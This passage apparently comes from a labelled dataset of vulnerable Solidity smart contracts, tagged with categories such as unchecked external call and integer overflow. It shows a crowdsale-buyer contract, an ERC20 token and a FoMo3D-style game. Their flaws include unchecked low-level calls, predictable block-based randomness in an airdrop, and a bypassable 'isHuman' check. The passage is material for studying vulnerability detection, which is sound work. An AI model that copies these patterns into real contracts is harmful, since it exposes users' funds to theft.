if(!token.transfer(developer, fee)) throw; } // Send the funds. Throws on failure to prevent loss of funds. if(!token.transfer(user, tokens_to_withdraw - fee)) throw; } } // Automatically withdraws on users' behalves (less a 1% fee on tokens). function auto_withdraw(address user){ // Only allow automatic withdrawals after users have had a chance to manually withdraw. if (!bought_tokens || now < time_bought + 1 hours) throw; // Withdraw the user's funds for them. withdraw(user, true); } // Allows developer to add ETH to the buy execution bounty. function add_to_bounty() payable { // Only allow the developer to contribute to the buy execution bounty. if (msg.sender != developer) throw; // Disallow adding to bounty if kill switch is active. if (kill_switch) throw; // Disallow adding to the bounty if contract has already bought the tokens. if (bought_tokens) throw; // Update bounty to include received amount. bounty += msg.value; } // Buys tokens in the crowdsale and rewards the caller, callable by anyone. function claim_bounty(){ // Short circuit to save gas if the contract has already bought tokens. if (bought_tokens) return; // Short circuit to save gas if the earliest buy time hasn't been reached. if (now < earliest_buy_time) return; // Short circuit to save gas if kill switch is active. if (kill_switch) return; // Record that the contract has bought the tokens. bought_tokens = true; // Record the time the contract bought the tokens. time_bought = now; // Store the claimed bounty in a temporary variable. uint256 claimed_bounty = bounty; // Update bounty prior to sending to prevent recursive call. bounty = 0; // Record the amount of ETH sent as the contract's current value. contract_eth_value = this.balance - claimed_bounty; // Transfer all the funds (less the bounty) to the crowdsale address // to buy tokens. Throws if the crowdsale hasn't started yet or has // already completed, preventing loss of funds. if(!sale.call.value(contract_eth_value)()) throw; // Send the caller their bounty for buying tokens for the contract. msg.sender.transfer(claimed_bounty); } // A helper function for the default function, allowing contracts to interact. function default_helper() payable { // Treat near-zero ETH transactions as withdrawal requests. if (msg.value <= 1 finney) { // No fee on manual withdrawals. withdraw(msg.sender, false); } // Deposit the user's funds for use in purchasing tokens. else { // Disallow deposits if kill switch is active. if (kill_switch) throw; // Only allow deposits if the contract hasn't already purchased the tokens. if (bought_tokens) throw; // Update records of deposited ETH to include the received amount. balances[msg.sender] += msg.value; } } // Default function. Called when a user sends ETH to the contract. function () payable { // Prevent sale contract from refunding ETH to avoid partial fulfillment. if (msg.sender == address(sale)) throw; // Delegate to the helper function. default_helper(); } }",./Dataset/unchecked external call (UC),7,7 760.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract CryptSureToken is StandardToken { string public name = ""CryptSureToken""; string public symbol = ""CPST""; uint8 public decimals = 18; uint256 public constant INITIAL_SUPPLY = 50000000; constructor() public { totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals)); balances[msg.sender] = totalSupply_; transfer(msg.sender, totalSupply_); } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(this) ); super.transfer(_to, _value); } }",./Dataset/integer overflow (OF)/,4,4 3873.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract FoMo3Dshort is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF6b8836492f8332D17B1496828d2bEE71ad511DA); address private admin = msg.sender; string constant public name = ""FOMO Short""; string constant public symbol = ""SHORT""; uint256 private rndExtra_ = 30 minutes; uint256 private rndGap_ = 30 minutes; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 constant private rndMax_ = 1 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_com); admin.transfer(_p3d.sub(_p3d / 2)); round_[_rID].pot = _pot.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); 